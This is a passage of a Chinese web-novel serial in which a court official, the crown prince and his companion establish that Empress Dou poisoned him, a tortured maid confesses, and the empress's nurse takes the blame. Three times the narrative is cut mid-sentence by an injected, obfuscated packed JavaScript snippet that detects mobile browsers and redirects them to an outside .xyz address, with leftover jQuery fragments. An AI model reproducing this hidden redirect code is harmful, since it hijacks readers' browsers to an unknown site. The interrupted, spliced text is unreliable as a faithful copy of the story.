“……不对!”应子清一阵无语,想收回手,抽不回,对方抓得死紧,她眉心蹙紧,“我想知道那个答案!”
“什么答案?”薛沛南不解。
“查案的答案!”应子清道。
薛沛南睨了眼孟医士,顿时沉默,应子清也住了口。
孟医士见两人提到什么案子,他可不想卷入其中,匆忙找个借口离开。
其他的丫鬟小厮聪明伶俐,收到薛沛南的眼色,迅速退了出去。
闲杂人等离开,应子清赶紧问:“难道你投靠凶手了?!”
“没有。”薛沛南摇头,失笑道,“这个事,本来是想告诉你们的。是我自己起了小心思,以为能换得求娶你的机会。”
薛沛南顿了顿,直接告诉应子清:“太子中毒一案,大理寺从东宫查了不少可怕的线索。虽然不能直接指证凶手是谁,可也差不多了。”
烛火跳了跳,光影倏尔一暗。
尽管四下已无旁人,薛沛南仍然压低声音,只用两人才能听到的音量说:“——凶手,是窦氏。”
意料之中,却又让人大感意外的结果。
为什么?应子清在心底疑惑。
窦皇后已经是天下最尊贵的女人,即使刘之衍不是她的亲生儿子,待来日登位之时,他仍会尊奉窦皇后是太后。
窦皇后膝下无子,明明该扶持刘之衍才对。
而大晋朝只有一个太子,谈不上皇子之间的博弈。
窦皇后针对刘之衍的种种事迹,叫人难以理解。
薛沛南也有同样的疑问,他冷声道:“事出反常必有妖。”
应子清想了想,决定把这个答案告诉刘之衍,同他商量一番再说。
她站了起来:“多谢告知。”
薛沛南白着一张俊脸,很是虚弱无力的模样:“难道,我真不能换得你一点心软吗?”
“……不能。”应子清斩钉截铁,“明日我把这膏药送一副新的来,再给你写一份续筋正骨的强身之术。”
等应子清离去,卧室重归安静,浓重药味压不住血腥味。
薛沛南看向自己的双腿,缓慢闭上眼睛。
53. 第 53 章
从宰相府出来,上了马车,应子清和刘之衍对视一眼,沉默不语。
刘之衍没头没尾地问了句:“知道了?”
在外面不好多谈,应子清点点头。
刘之衍朝宰相府的方向看一眼,不冷不热道:“回去再说。”
回去之后,应子清点了盏小灯,拿了张纸趴桌子上,写写画画。
到底是救人要紧,应子清规划了几个复健周期,希望帮薛沛南早日恢复。
刘之衍看那张纸的标题,写了“续筋正骨”,便知是给薛沛南的。他心里不大高兴,但见应子清写得认真,刘之衍不言不语也没打扰,而是留在旁边,帮忙研墨。
写字的时候,应子清没瞒着众人,因此香巧语兰也在旁边看热闹。
“是给薛公子的吗?”香巧支着下巴。
“对。”应子清答应,又说,“这张单子开得越早越好,病情耽误不得。”
香巧一脸羡慕:“医术……我也好想学。”
“倒是有个办法,”应子清想了想,“光是有这张复健建议,还是不够,有些细节需要沟通。你既然想学医术,须得实践!不如你去指导他。”
“啊?”香巧不想多干活,有些扭捏,“天天跑来跑去,多累。”
“小的想去。”张泰耀笑道,“能出宫的机会不多,何况是去宰相的府邸,转一转也是好的。”
语兰忽然大声:“让我去!”
众人齐齐看她,眼露好奇,向来温柔安静的语兰,怎会如此激动。
语兰闪烁着眼睛:“张公公还要伺候太子殿下,哪有空?我、我略懂一些药理,虽然不多,说不定能帮上忙……”
应子清本来觉得可以,但转念一想,薛沛南那人,喜欢口头上轻薄小姑娘,她怕语兰受了欺负。
听了应子清的忧虑,刘之衍冷冷道:“从我这里出去的人,他哪敢不知轻重?”
话虽如此,应子清到底不放心。
“子清姐姐,让我去吧,我会做好的。”语兰忧郁着一张小脸,坚持道。
“好吧,”应子清的毛笔蘸了蘸墨,低头往下写,“让张公公同你一起去,再给你们东宫的符令,对方必不敢放肆。”
待到晚间,旁人退下休息。
应子清替刘之衍解下外衣,她发觉衣服上的颜色不太对,拿到灯下一照。刘之衍手脚笨拙,研墨研得到处都是,袖口心口,沾了不少墨点。
“这么简单的活儿,怎么就做成这样。”应子清无奈。
刘之衍面色安静,英气黑漆漆的眼眸,一直跟着应子清:“也不是什么人都能使唤我干活。”
应子清给他说得一噎。
四下安静,宫灯上的长蜡,亮着稳稳的光。
应子清还在忙里忙外,绯红裙裾在地上拖曳,轻灵得像一片柔软飘渺的霞云,惊艳亮相又倏尔消失,像难以捉摸的艳色蝴蝶。
只是她一会走进来,一会走出去,刘之衍见不到她的身影,心中烦躁:“你又在干什么?”
应子清隔着一扇门,回答:“在收拾你的骑装。”
“你别弄了,让他们明天做。”刘之衍说。
“他们哪会弄这个,也不敢,都怕给你弄坏了。说是不敢,其实就是不想干活!”应子清又转到另一间屋子里。
刘之衍披了层淡紫色团窠外袍走出来,倚着门,看她做事。
应子清摇摇一指:“你长得高,把这个放在那个高柜上。放个东西,不会做砸的。”
刘之衍听话照做,捧起那叠好的软甲:“今天薛沛南是不是告诉你,查案的结果?”
“对。”应子清就要开口,却被刘之衍抢先回答了。
“是窦氏。”刘之衍说。
应子清住了手,抬眸看他,惊讶道:“你知道?”
“天底下除了窦氏,谁会胆大包天,在东宫动手脚。”刘之衍放好了东西,走到她身边。
应子清用丝帕擦拭骑装上的一块纯金坚甲,打开朱红漆柜门,搁了进去:“所以到底是为什么?圣人与窦皇后,只有你一个皇子,难道她还有别的人选?”
总不至于选安景王吧!
却一回身,应子清的肩膀撞上刘之衍的胸膛,刘之衍就这样的近距离,同她说话。他嘴角很轻地扬起一点弧度:“如果能选安景王,说不定,比我更称母后的心意。”
真是奇闻。
皇后不选一个幼童培养,而是选择一个成人?
绕是应子清读过不少史书,也很难猜出为什么,毕竟大晋朝与小蓝星上的历史,到底有所不同。
“天下分崩离析,群雄追鹿中原。刘氏能坐稳天下,靠的是四大姓氏共同推举,”刘之衍低头看她,像讲故事般,眼眸流露些许温柔,“而窦谢两家,堪称中流砥柱,出力最多。其中又以窦氏底蕴深厚,实力卓越,令旁人望其项背。”
应子清眨了下眼,总觉得最后这句话很关键,也很危险。
没想到刘之衍接下来的话,更让她惊奇。
“你有听说过一句谣传吗?自然,你肯定没听过,当初说过这句谣言的人,没留一个活口。”刘之衍似笑非笑,“‘刘三世而亡’,而我的父皇,恰恰是第三世。”
应子清听了,当即起了一身的鸡皮疙瘩,震惊的!
好端端的,为什么流行这句话?冥冥之中,又暗合了她的任务!
只可惜,不论是这句疑似谶语的“刘三世而亡”,还是梦中的神秘声音要求她找到王朝覆灭之谜,以及力挽狂澜,都没有一句具体的指向。
刘之衍没注意她的神色变化,继续道:“不知道是不是故意,前两任帝王都没有迎娶窦氏为皇后。然而我的父皇,是在窦氏的支持下,赢得帝位。你可能不清楚,安景王当年圣眷正浓,那时候的人,估计暗暗揣测,他也许会顶替我父皇的太子之位。”
“父皇念及窦氏之功,遂立窦氏为皇后。母后当了皇后,却并不满足,她希望提拔她的父亲窦岚为太尉。”刘之衍缓缓道,“彼时,窦氏已经有过司徒、司空。如果窦岚做了太尉,那窦氏一门,三公尽出,几乎可以说权倾朝野。”
从龙之时,窦氏已经是当世的中流砥柱,再得个一门三公,功高震主那块牌子快遮不住了。
应子清听得浑身冷飕飕的,接话道:“你父皇自然不会允许……”
“是,父皇没有允许。”刘之衍遥遥望向远方,那是中宫的方位,“小时候我也不明白,为何母后不喜欢我,我曾经以为,是我母妃得宠的缘故。”
“可是发生了一些事情后,我的想法变了。”刘之衍淡淡道,“我发现,母后不仅不喜欢我,她不喜欢父亲的后宫,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927318|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有孩子出现。”
应子清心中起疑,难道窦皇后没有孩子,所以嫉妒旁的妃嫔吗?
刘之衍没有回答她这个疑虑,而是转回那个话题:“母后给我下过毒,不止一次。所以那日冬阳暖醴宴,我中毒后,第一个怀疑的,就是母后。”
“不止一次?!”应子清惊讶。
“是,我运气好,活了下来。”刘之衍眸光渐渐阴鸷,“不过上一次中毒的人,是真的死了。”
刘之衍没说那个中毒的人是谁,可是应子清就是能感觉到,那是一个对他而言,极为重要的人。
应子清很想问,那个人是谁。
可是刘之衍的神色过于冰冷,想必那是个极为糟糕的场景,他每次回想起来,如同亲历一遍可怖的噩梦。应子清按下心中的好奇,选择无声地陪伴,没有出声。
刘之衍兀自静了片刻,似是察觉到应子清默默陪伴着他。
刘之衍微微低下头,闻到少女身上温润清丽的香气。她安静地眨着眼睛,眸光围绕着他,黑白分明的眼眸映着他的影子。她全神贯注,分明是在意他,担心他。看得他心中一阵悸动。
可是,她看着那样关心他,无形间仍是隔着一段距离。
好似一股沁人心脾的轻纱,温柔飘渺,从他的鼻尖额头,轻拂而过,惹得他情思恍惚。她却转瞬收回,叫人再难寻觅。
刘之衍目光,停在她红润的嘴唇上。
想到击鞠比赛前,帐篷里她流露出来的惊惧,刘之衍有些遗憾,他把大手一张,覆在她脑袋上,带着她往回走:“睡吧,下回再给你讲故事。”
应子清分明看到,他眼中有危险光泽闪过,可是刘之衍眨了下眼,恢复正常。他的手臂其实很沉,应子清想把他的手,从脑袋上捉下来。如蜉蝣撼树,刘之衍纹丝不动,还微微笑起来。
应子清挣扎了半晌,废了半日力气,看得刘之衍微微挑眉:“怎么耳朵红了。”
因为她想起,就是这双质感粗糙坚韧的手,拂过她脸颊的感觉。
“谁都不许再说话,睡觉!”应子清烦心。
有了薛沛南的提示,第二天一早,刘之衍便有了动作。
先是亲自登门拜访大理寺卿崔玉陵,随后刘之衍联络一些大臣,接连上书朝廷,再三督促案件查办的进程,正国法,安民心。
左右施压下来,大理寺终于出了公告,说不日之后,将会公布冬阳暖醴宴上,太子中毒一案。
不过在公布之前,崔玉陵亲自拿着密封的刑案薄录,去了趟兴庆殿,庆帝一般在这里处理日常的公务。
天空飘着雨,崔玉陵在殿前久久等候。
申公公撑着伞出来,远远笑道:“哎哟,崔大人怎好在此久等,别淋着了才是。”
“无妨,我在檐下躲着的,没淋着。”崔玉陵摇头,“圣人这会儿有时间了?”
“是啊,”申公公点头,“快进去吧,不然等薛宰相来了,你的事,又得往后捱了。”
“圣人的心情如何?”崔玉陵忍不住问。
“哎,摩罗侵扰边疆的事,闹个没完没了,心情怎么好得起来呢!”申公公叹气。
崔玉陵看了眼手中的刑案薄录。素白的宣纸,森冷严肃的自己,一笔一划裹挟着肃杀之气。他当下也为自己叹气:“我这里,也不是好消息。”
54. 第 54 章
雨后收晴,乌云连绵,却还是出了稀薄的阳光,金色琉璃瓦在阳光照耀下,折射熠熠光泽。
凤仪宫朱色宫门,巍峨庄严。正殿前,汉白玉铺就的阶梯细腻温润,阶梯的两侧,左右一只龙凤呈祥,展翅欲飞,雕刻得栩栩如生。
申公公搀扶庆帝,庆帝走得极慢,一步三停。
他许久没来了,一路上看着这些光辉灿烂的景致,总觉得模糊眼生。
庆帝眯起眼,指着影壁上,那只金灿灿的凤凰:“原来这里有这只凤凰吗?”
申公公遥遥看了眼,低下头温声道:“有四五年没见,奴婢也有些模糊,皇后大约是换过了。可是奴婢隐约记得,宫里的规矩,有凤必有龙,且龙在上,凤在下。”
庆帝脸色不太好:“这里只有一只凤凰。”
申山不敢乱说话,呵呵笑道:“大概是,皇后喜欢凤凰吧。”
庆帝没再问,面色似染了薄霜,在申山的搀扶下,两人拾阶而上。
凤仪宫殿内,以金与红色为主色调,雕龙画凤的精美梁柱,横亘于顶。
阳光透过雕花窗棱,在青砖上铺洒淡淡余晖。每块青砖,凿刻徐徐绽放的莲花纹。这是庆帝当年的主意,意思是窦家的千金步态优美,足下生莲。
那时候两人还年轻,庆帝也是喜欢过窦皇后骄傲明艳的模样。
那时他想,先帝再如何英明神武,没有娶过窦家女,始终是一种遗憾。
但先帝没有做到的事,他做到了。窦家小姐身份尊贵,性情高傲,犹如天空上的明月。他迎娶进来,要用金屋子待她,绫罗绸缎,奇珍美玉,任她随心索取。
可是这位窦皇后,却提了另一个要求,她想让她的父亲窦岚做太尉。
庆帝没有同意。
冰山一样大美人,难得放下身段,一次次走到庆帝案前跪下,提起这个请求。
庆帝还记得,传闻中骄矜的窦氏小姐,如何一次次弯下凤颈,垂下高傲的头颅。但他一次次驳回后,窦皇后脸上开始流露出绝望与无力。
再度回想起来,庆帝也有些怅然。
他那时年轻气盛,还不懂得温柔,拒绝得太过冷酷,窦皇后次次下不了台阶,只得掩面起身,黯然而去。不知从何时起,窦皇后不再替窦岚求太尉,对着他,露出的笑脸也极少。
庆帝以为是他宠幸其他妃嫔的缘故,现在想想,未尝不是他做得太过决绝,没给她留点颜面。窦皇后自打出生,便是要星星,不给月亮的,哪里受过这样的大罪。
心里这么想着,庆帝的脸色,不由多云转晴。
申山见了,暗暗乍舌,果然天威难测。然而雷霆雨露俱是天恩,被波及的人,岂能随意承受?不由更加小心恭敬。
圣人亲临,窦皇后携众位女官宫女,出门迎驾。
庆帝立在宫门口半晌,将凤仪殿细细看过,咳嗽一声:“皇后一人进来。”
说完庆帝便进了门,留下窦皇后与乌嬷嬷面面相觑。
“皇后,奴婢自小陪伴您,从未离开过,还是让奴婢跟你一起进去吧。”乌嬷嬷担心道。
“不必,你在此候着。”窦皇后昂然进了殿门。
大殿内焚着百花香气,丝幔陈设,无一不精致华美。
庆帝久违地在正殿中走动,最后端坐在龙椅上,窦皇后在他面前款款行礼。
庆帝却没叫她起身,而是把手中的刑案薄录,一把掷于窦皇后的面前:“你看看。”
刑案薄录如雪花般飘散。
窦皇后仍然跪着,面色冷淡,从地上拾起刑案薄录,慢慢展开。
匆匆看了几眼,窦皇后把薄录合上。
庆帝盯着她:“衍儿的毒,怎么会查到你身上!皇后,给我一个答案。”
窦皇后并不畏惧,仍是高高扬着下巴:“臣妾不知。”
庆帝面色凝重,眯起眼,长久地打量她,希望从她脸上看出什么。
除了漠然,庆帝看不到别的:“大理寺不会偏袒太子,也不会故意陷害你!你敢说,这些证据与你毫无关系?!”
“欲加之罪,何患无辞!”窦皇后不等圣人的命令,自顾自站起身,傲然与庆帝对视,“皇帝如果认定是臣妾有罪,直接公布好了,何必在这里诘问。”
“朕想给你留颜面!”庆帝气急。
“太子中了毒,证据却查到臣妾身上!”窦皇后冷笑,“试问皇帝,好端端的,臣妾为什么毒害他?”
庆帝摇头叹息:“他叫你一声母后,你何苦害他!”
窦皇后神色一凛,眼中闪过轻蔑:“母后?!太子何曾拿我当母后看待过?太子的生母因病故去,打那以后,他一直对我不冷不热。太子心机深沉,隐忍不发,谁能看透他心里到底在盘算什么?过去,他分明是不善言辞、木讷少语之人,怎么突然自己就变好了?”
窦皇后说到这里,忽而察觉什么,只是那念头跑得太急太快,一时没抓住。她顿了顿,继续往下道:“如今更是出了中毒一事,其中有什么隐情,谁又说得清楚?臣妾也想问,太子那毒酒,如何进到他口中的!”
“衍儿喝的,是朕给他的龙金杯!”庆帝怫然作色,“天底下,谁能接近朕赐的御酒?唯有你,皇后!”
“只有我?”窦皇后亦是面有愠色,将长袖一振,“你干脆说你准备定我罪好了!”
庆帝气得咳嗽气喘不止,窦皇后偏开脸,丝毫不为所动。
申山连忙替庆帝抚背顺气。
若是窦皇后肯温言软语,又或是急忙担心庆帝,也不至于闹成这样。眼看两人一开口,竟是越吵越远,场面越吵越僵,申山心中暗道糟糕,一时不敢支声。
宫门忽而推开,乌嬷嬷公然闯入,跪于庆帝面前:“请圣人明鉴!此事与皇后绝无干系啊!”
“谁准你进来的!”庆帝一脸怒容。
“圣人,我们家小姐虽然性子高傲,品性高洁!下毒这种卑劣的行径,从前在窦府里,奴婢们提都不敢在她面前提及。公侯之家,最注重教养门面,皇后自幼受此熏陶,一言一行规行矩步,断断不会沾染!”乌嬷嬷磕头不止,“皇后在后宫操持诸事,兢兢业业。这么多年,后宫不曾出过戕害妃嫔的案子!请圣人明察!”
庆帝听闻,也有片刻失神。
这么多年了,怎么说都有感情了。窦皇后此人,庆帝自是了解,她那样自持身份,怎么可能愿意污了一双纤纤玉手,去做那等腌臢之事。
因此崔玉陵送来白纸黑字的薄录,他特特地按下,亲自过问一趟。
皇后戕害太子,何等耸人听闻,是她干的也好,不是也罢。正如他所说的,他想给皇后留颜面,遮她的丑,亦是警告。
“不是你干的,谁敢陷害到你身上?”庆帝冷哼,“大理寺查案向来有真凭实据,牵扯到皇后身上,他们更是小心谨慎。此事,朕已经按下不提,近来着裴尚宫主持宫中事务,等一切分明了再说。”
言罢,庆帝甩袖离去,申山躬着身子向皇后告了退,疾步跟上。
凤仪宫宫门紧闭,烛火辉煌。
窦皇后缓缓坐于凤座,冷静抬眸:“事情做扫尾了吗?”
乌嬷嬷点头:“是,当日就派了人出去处理了。若不是那个叫窦知微的小侄警醒,恐怕我们还坐在天上,当个糊涂人呢!”
窦皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932569|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默然不语,凝眉思索。
乌嬷嬷见她无话,不由长叹一声道:“哪里知道,大理寺查的根本不是冬阳暖醴宴中毒一案,而是跑去东宫,查出陈年旧事!从骊山到东宫,隔着那么远的距离,他们怎么查到那里去了!打了个措手不及!”
窦皇后金步摇微微晃动,闪烁凌厉金光:“有人指引,大理寺才会在东宫进入自如。是我们小看了太子。这小子安安静静,竟然蛰伏这么久。当年,他敢亲手杀死他那个乳母,我就该知道,他不简单。”
乌嬷嬷见地上仍然落着刑案薄录,便去拾起,冷不防看见上面的三个字:“三棱花!?”
窦皇后转过脸来,乌嬷嬷冷汗浸浸:“太子的乳母,叫姜娘子,那人当年中的,就是三棱花的毒……”
这到底是巧合,还是太子预备报复的前兆?
窦皇后也不禁生出几分寒意,她忽而问:“你说的窦知微,是何人?”
乌嬷嬷连忙道来:“是窦展推荐的,窦知微的父亲叫窦靖,他母亲叫孙水莲,但其实他的生母……是个官伎。”
窦皇后一听,秀气的眉心紧蹙:“这算什么?什么人都能到我面前了?”
乌嬷嬷知道她嫌弃窦知微的出身,又道:“虽说如此,听窦展的意思,是个好苗子。今年窦知微入了官,做的起居郎。”
窦皇后隐约有些记忆:“是不是跟谢家那位,竞争中书舍人,结果输了?”
乌嬷嬷见她记得,回答道:“是他没错。”
“没用的东西!”窦皇后无奈,“这么重要的位置,怎么就丢了!就算此子能力不足,我或许能帮上一二,此事怎么不来找我?看来窦展推荐的此人,不堪大用。”
乌嬷嬷欲言又止。她是记得的,那日窦靖与孙水莲,亲自领了窦知微,到凤仪宫拜见,当时窦皇后推脱不见,他们一行人打道回府。但她此时提起,倒像责备窦皇后做得不对,故而沉默。
两人正说着话,柴高玄突然大步进来,对着窦皇后叩拜。
“何事?”窦皇后问道。
柴高玄站起身,沉默了一会,方才道:“扫尾的事情,出了意外。奴婢本欲打算推一人出去,若是大理寺认真查出蛛丝马迹,便让这人顶了罪。前几日还好好的,今日才得的消息,此人失踪了!”
捱到此刻,窦皇后凤目猝而圆睁,终于动了怒:“无能!”
暗牢门打开,刘之衍先进去,却一回身,以掌心抵住牢门的上端,防止后面的人撞到脑袋:“小心。”
门太矮了,应子清得了提醒,弯了腰进去。
暗牢内部仿佛巨兽的血盆大口,浓稠的黑暗如有实质,火把簇簇燃烧,驱不散里面的死水沟般的阴沉霉气。
应子清一步一惊心,她在东宫这么久,头一回知道,这里还有这么个地方。
并不如她想象的那样,暗牢里住满哀哀呻吟的囚犯,那些单间牢房里空无一人。
在他们的前方,几名覆银制面具的暗卫,和灰色影子一般,坚韧无声地守在关卡之处。而在影卫的的中心,一名头发全白的年轻宫女,奄奄一息,跪伏在地上。
宫女的身形,看着十分眼熟,应子清倏尔蹙了眉。
两人缓慢走近,暗卫出声:“抬起头来。”
宫女一听指令,像是掉进冰窟,颤颤巍巍抬起脸。
“耿秋竹……”应子清默默念出对方的名字。
应子清第一天进东宫,就是耿秋竹带她进来的!
彼时,耿秋竹的头发只是半白。谁能料想,她的脸依旧保留年轻的模样,眉眼间满是疲倦麻木,与她的雪白头发映衬,无端生出令人毛骨悚然的诡异感。
55. 第 55 章
见应子清准确念出对方的名字,刘之衍略一思索:“你们认识?是了,此人与你有同乡之谊。”
“她怎么会变成这样……”应子清眼底闪过不忍。
暗卫的副手,夜鹰站出来回答:“别看我,不是我们做的,救出来就这样了。”
夜鹰抱着双臂,望着地上萎靡不振的耿秋竹:“多半是在窦府里,受了见不得人的审讯。我们在此人身上找不到伤痕,但她崩溃至此,想必零碎折磨少不了。什么‘加官晋爵’,用沾湿的纸,一层层贴在脸上,遮住口鼻,让人窒息……”
他一提及,耿秋竹极端恐惧,情不自禁地抖起来。
“好了好了,我知道了。”应子清慌忙阻止。
刘之衍负手而立:“原来我一直怀疑,下毒者是窦氏,但不能确定。薛沛南给出肯定答案,那就有了方向。这是我们从窦氏的密牢,救出的关键人物。”
听见有人说了好半天的话,耿秋竹颤巍巍睁开眼睛。她双眼无神,费了好半天,仍看不清楚眼前站着的人是谁。
应子清蹲下来,替她把蓬松的乱发挽到耳后。她与耿秋竹见过几面,其实不了解对方。乍然看到对方变成这副模样,她心中难受。
耿秋竹认出来人,倏然滚泪,磕头不止:“是你……阿清、阿清,你救我,救救我!我罪孽深重,死路一条,谁也救不了我了……”
听耿秋竹言语颠倒,知她必是神思混乱。应子清上前,阻止她磕头的动作,握紧她的肩膀:“耿姐姐,别怕,你已经回到东宫了。”
应子清本意是宽慰她,她现在是安全的。
耿秋竹心中有愧,一听她身处东宫,吓得痛哭流涕:“饶了我!求求你们,饶了我!我再也不敢了!”
应子清观察耿秋竹几秒,迅速进入状态,她一手抚摸耿秋竹的头发,用一种很温和的嗓音,安抚道:“别怕,看看我,我是你的小妹阿清,我们是同乡,我不会折磨你。”
耿秋竹在应子清温柔拍打下,渐渐收了声音,细细呜咽。
“我知道你曾经做错过事,既然太子从窦家的暗牢把你救出来,他不会为难你的。”应子清轻声道。
夜鹰一听,嗤笑了声,就想反驳。难道他们费了这么多力气,是为做好事,才救这个叛徒?想什么美事!
刘之衍望着应子清,细思片刻后,当即伸手,挡在夜鹰面前,阻止他开口,免得干扰应子清。
应子清继续道:“我知道你受了不少折磨,你已经为自己的错误,付出代价了。过去的事情,我们不必再过问。我们可以做一些事,弥补和感谢太子殿下的救命之恩,恢复他对你的信任,你说呢?”
耿秋竹还在发抖,但没有刚才那么厉害。可是她仍然沉默,似是不相信应子清说的话。
就算她脑子糊涂也知道,毒害太子是死罪,怎么可能被轻易饶恕?
刘之衍跟着蹲在应子清身旁,目光平静:“子清不喜欢看到伤亡,我可以不为难你。”
耿秋竹慢慢抬起头,她的视线渐渐恢复聚焦,在两人之间打量。
“你可以取信于我。”刘之衍肯定道。
东宫暗牢,阒然无声,安静得只有火把燃烧的噼啪声。
过了很长时间,耿秋竹再次大哭出声,这一次她断断续续道:“我说,我说!我把我知道的一切,全都说出来,请太子殿下饶我不死!”
耿秋竹双手掩住脸痛哭不止,似是要把藏在心底多年的苦处,痛痛快快发泄出来。
应子清抬眸,与刘之衍对视。
等两人走出暗牢,应子清有些苦恼:“你打算怎么安置她?”
刘之衍早有了打算:“等这件事结束,我会送她回她的家乡。”
继续留在东宫,对耿秋竹没有好处。她自己定会日日惶恐,担心太子哪天心情不好,要她的命。这么做,倒是最好的。
写下耿秋竹所有供词,夜鹰亲自捧着,送到刘之衍的书房。应子清见那边事情已了,跑过去照看安置耿秋竹。
熏香袅袅,一盏明灯,刘之衍在案上仔细读着。
夜鹰环视想了一想,低声道:“太子殿下,属下总觉得,应司直此人所作所为,异于常人。”
说是异于常人,已是客气了,按夜鹰真实所想,他觉得此女过于妖异!
又懂医术,又能识得诗书,最关键的是她那迷一般,能蛊惑人心的手段。耿秋竹在她三言两语下,破了心防,什么都往外抖。换成夜鹰自己来,他定是做不到这么好的效果。
又或者,如太子本人对她极为特殊的维护。
但是有影枭的嘱咐在前,夜鹰不敢造次。
夜鹰这句话,仿若某种不详的征兆,刘之衍眉心一跳,他抬起脸,深不可测的黑眸,看得夜鹰心里哆嗦:“不许多嘴,再让我听见,提头来见!”
夜鹰暗叫不好,影枭果然说得不错,此人是太子的逆鳞,他当即跪下认错:“属下知罪!”
四下无声,烛灯忽明忽暗,更漏一点一滴流淌,夜鹰的后背,慢慢浮了层冷汗。
刘之衍低头去看证词,半晌,他说:“自去领罚,二十鞭。”
“是。”夜鹰豁然松口气,“谢殿下宽恕我等。”
夜鹰死里逃生般,心口狂跳,脚步飘浮出了门。
其他暗卫上来拍夜鹰的肩膀,用只有两人的声音,低声道:“你的确多嘴,应司直是什么人,平时做了些什么?你以为殿下不清楚?殿下心里跟明镜似的,却从来不说,你以为是为什么?”
夜鹰摆摆手,唉声叹气:“你们以为我愚不可及?我是按照古书写的做,忠言逆耳!我想提一两句谏言,希望殿下不要过于看重此人。”
“不知道为什么,”许是刚才受的惊吓,夜鹰只觉得寒风阵阵,那冷风吹得不是皮肤,而是从心底吹进去的,让人遍体生寒,“我总觉得,应司直此人像风一样……”
剩下的话,夜鹰没敢说完整。
应子清日常处事,与旁人不同。具体有什么不一样,夜鹰说不个一二三。但他模模糊糊,有一种感觉,应子清像一阵轻灵之风,毫无预兆地飘忽而来,恰如天边的流云,转瞬间,又会消失在茫茫天地之间。殿下有可能……抓不住。
刘之衍没有耽搁,费了一夜的功夫,把耿秋竹的证词作了一番调整。
第二天一早,刘之衍上朝,亲自将证人与证词带到朝堂。
大理寺出了结果,可还是没有公布,是因为庆帝准备按下不提。
窦氏把耿秋竹扣住,无非是想,等大理寺不得不出面的时候,推出一个无关痛痒的人。
在他们折磨耿秋竹、预备让她把所有的事情扛下来的中途,被夜鹰截了道。
耿秋竹的确是窦氏安插进东宫的人,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938012|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她没有参与毒害姜娘子那件事。她只是听从指挥,给太子下大剂量的安神汤。
揪出这种无关紧要的人,对窦氏毫无影响,根本不够。
朝廷之上,刘之衍把证词,呈送给申山,让他送与庆帝。
崔玉陵见了,闭目长叹,垂首不语。
大理寺卿私下上报给庆帝,本就是得罪太子之举。东宫自然不满,于是他绕过大理寺,直接在朝堂上公开。
这一次,连庆帝也不好再按下不放。
申山把烫手的证词,送到御前,赶紧退开几步,免得受到波及。
庆帝黑沉着脸。
皇后毒害太子,这种事说出去,成何体统?刘之衍不体谅他的一番苦心,竟然闹到大庭广众之下,真是任性妄为!
庆帝打开东宫送来的证词,逐一看下去后,脸色却渐缓。
刘之衍没有像受了委屈的人,急吼吼地沉不住气,讨个说法。而是恭敬作了一礼,言语谦虚:“儿臣以为,这样的安排,是最好的。”
庆帝眯起眼睛,向下遥望,年轻的太子穿着明黄衣衫,半垂双目,不疾不徐。连他也不得不服气,刘之衍走的这一步,实在高妙。
天子在明堂之上,文武百官前,冷声准许:“按太子说的做。”
退朝之后,崔玉陵亲自带了人,去凤仪殿抓人。
大理寺官兵只敢逗留在殿门,不敢擅闯。
申山与崔玉陵一同进了凤仪殿,向窦皇后禀明完毕。
“圣人的意思,说得很清楚。”申山躬身道,“此事与皇后无关,分明是皇后身边有小人作祟,竟然做出这等腌臢下流的事。”
“拿下此人!”崔玉陵厉声道。
御前侍卫一同上前,将乌嬷嬷反手扣住。
“慢着。”窦皇后宽大的长袖下,指尖狠狠扎入掌心,她冷静逼视崔玉陵,“都查清楚了吗?”
崔玉陵心中叹气,口中答道:“人证物证,全都查清楚了。”
怕窦皇后心存侥幸,纠缠不清,崔玉陵只能暗示道:“皇后娘娘,这么多年,总会遗留下蛛丝马迹,经不起查的。”
崔玉陵从东宫查到的,不止三棱花的毒。还有其他零零碎碎,上不了台面的阴毒心思。在耿秋竹的供词里,那些定心丸,舒神散,分开是好药,合起来成了慢性毒药之类,数不胜数。与崔玉陵查到的,一一对证。
用一个乌嬷嬷抗下大罪,已经是太子退让的结果。
但乌嬷嬷是从小陪伴她长大的人,她视作为半个娘的人啊!窦皇后恨极。
圣人、太子联合大理寺,三方达成一致,共同敲定此罪。纵是天神下凡,再难有转圜余地。
凤仪殿内,鸦雀无声。
乌嬷嬷轻轻摇头,向两名御前侍卫指了指皇后的方向:“请允许奴婢,问最后一次安。”
申山点了点头,御前侍卫放开她。
乌嬷嬷整肃了衣衫,走到窦皇后面前,行了一个极为标准的大礼:“皇后娘娘,是奴婢鬼迷心窍,才做出这等错事。上天开眼,终究没有连累娘娘,奴婢心中宽慰。还望娘娘念及奴婢多年陪伴,愿受奴婢这最后一礼。”
